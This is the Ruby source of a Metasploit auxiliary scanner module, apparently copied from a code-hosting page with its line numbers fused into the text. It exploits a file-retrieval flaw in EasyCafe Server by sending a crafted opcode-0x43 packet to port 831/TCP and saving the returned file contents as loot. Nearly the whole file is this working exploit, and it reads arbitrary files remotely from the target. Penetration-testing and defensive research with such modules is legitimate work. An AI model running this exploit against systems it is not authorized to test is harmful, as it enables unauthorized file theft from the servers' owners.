Path: blob/master/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb
25259 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(12update_info(13info,14'Name' => 'EasyCafe Server Remote File Access',15'Description' => %q{16This module exploits a file retrieval vulnerability in17EasyCafe Server. The vulnerability can be triggered by18sending a specially crafted packet (opcode 0x43) to the19831/TCP port.20This module has been successfully tested on EasyCafe Server21version 2.2.14 (Trial mode and Demo mode) on Windows XP SP322and Windows 7 SP1.23Note that the server will throw a popup messagebox if the24specified file does not exist.25},26'License' => MSF_LICENSE,27'Author' => [28'R-73eN', # Vulnerability Discovery29'bcoles' # Metasploit module30],31'References' => [32[ 'CVE', '2025-34119' ],33[ 'EDB', '39102' ]34],35'Notes' => {36'Reliability' => UNKNOWN_RELIABILITY,37'Stability' => UNKNOWN_STABILITY,38'SideEffects' => UNKNOWN_SIDE_EFFECTS39}40)41)4243register_options(44[45Opt::RPORT(831),46OptString.new('FILEPATH', [true, 'The path of the file to download', 'C:\\WINDOWS\\system32\\drivers\\etc\\hosts'])47]48)49end5051def get_file52res = sock.get_once53unless res54print_error("Unable to retrieve file due to a timeout.")55return56end5758unless res.length == 26159print_error("Received a response of an invalid size.")60return61end6263file_size = res.unpack('@256V')[0]64contents = ''65while contents.length < file_size66contents << sock.get_once67end6869print_good("File retrieved successfully (#{contents.length} bytes)!")70contents71end7273def run_host(ip)74file_path = datastore['FILEPATH']75if file_path.length > 6776print_error("File path is longer than 67 characters. Try using MS-DOS 8.3 short file names.")77return78end7980packet = "\x43"81packet << file_path82packet << "\x00" * (255 - file_path.length)83packet << "\x01\x00\x00\x00\x01"8485vprint_status("Sending request (#{packet.length} bytes)")86connect87sock.put(packet)8889contents = get_file90disconnect91return if contents.nil?9293path = store_loot(94'easycafe_server',95'application/octet-stream',96ip,97contents,98File.basename(file_path)99)100print_status("File saved in: #{path}")101end102end103104105